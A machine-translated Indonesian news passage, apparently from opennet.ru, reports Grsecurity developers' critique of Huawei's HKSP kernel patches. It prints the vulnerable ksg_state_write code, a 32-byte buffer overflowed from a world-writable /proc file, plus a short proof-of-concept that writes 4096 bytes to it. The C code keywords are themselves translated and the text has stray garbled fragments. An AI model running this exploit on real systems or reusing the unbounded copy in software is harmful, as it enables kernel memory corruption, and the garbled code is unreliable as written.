Pengembang proyek Grsecurity
Patch HKSP diterbitkan oleh karyawan Huawei, menyertakan penyebutan Huawei di profil GitHub, dan menggunakan kata Huawei dalam nama proyek (HKSP - Huawei Kernel Self Protection). Pada saat yang sama, perwakilan Huawei membantah keterkaitan proyek HKSP dengan perusahaan dan menyatakan bahwa kode tersebut dikembangkan atas inisiatif pribadi karyawan, bukan merupakan proyek resmi Huawei dan tidak digunakan dalam produk perusahaan. Pada
HKSP mencakup perubahan seperti pengacakan offset dalam struktur kredibilitas, perlindungan terhadap serangan pada namespace pengidentifikasi pengguna (pid namespace), pemisahan tumpukan proses dari area mmap, deteksi panggilan ganda ke fungsi kfree, pemblokiran kebocoran melalui pseudo -FS /proc (/proc/ {modules, key, key-users}, /proc/sys/kernel/* dan /proc/sys/vm/mmap_min_addr, /proc/kallsyms), peningkatan pengacakan alamat ruang pengguna, Ptrace tambahan perlindungan, perlindungan smap dan smep yang ditingkatkan, kemampuan untuk melarang pengiriman data melalui soket mentah, memblokir alamat yang salah di soket UDP dan memeriksa integritas proses yang berjalan. Ini juga mencakup modul kernel Ksguard, yang ditujukan untuk mendeteksi upaya untuk memperkenalkan rootkit biasa.
атчи
Sebuah studi tentang patch yang dilakukan oleh pengembang Grsecurity mengungkapkan banyak kesalahan dan kelemahan dalam kode, dan juga menunjukkan tidak adanya model ancaman yang memungkinkan mereka menilai kemampuan proyek secara memadai. Untuk menunjukkan dengan jelas bahwa kode tersebut ditulis tanpa menggunakan metode pemrograman yang aman, diberikan contoh kerentanan sepele pada penangan.
file /proc/ksguard/state, yang dibuat dengan hak 0777, menyiratkan bahwa setiap orang memiliki akses tulis. Fungsi ksg_state_write, digunakan untuk mengurai perintah yang ditulis ke /proc/ksguard/state, membuat buffer tmp[32] tempat data ditulis berdasarkan ukuran operan yang diteruskan, tanpa memperhitungkan ukuran buffer target dan tanpa memeriksa parameter dengan ukuran string. Itu. Untuk menimpa bagian tumpukan kernel, penyerang hanya perlu menulis baris yang diformat khusus ke /proc/ksguard/state.
ssize_t statis ksg_state_write(file struct *file, const char __pengguna *buf,
ukuran_t len, loff_t *offset)
{
nilai u64;
karakter tmp[32];
ukuran_t n = 0;
jika (copy_from_user(tmp, buf, len))
kembali -1;
nilai = simple_strtoul(tmp, '\0', 10);
...
Eksploitasi prototipe:
karakter buf[4096] = {};
int fd = buka(“/proc/ksguard/state”, O_WRONLY);
jika (fd >= 0) {
tulis(fd, buf, ukuran(buf));
tutup(fd);
}
Sumber: opennet.ru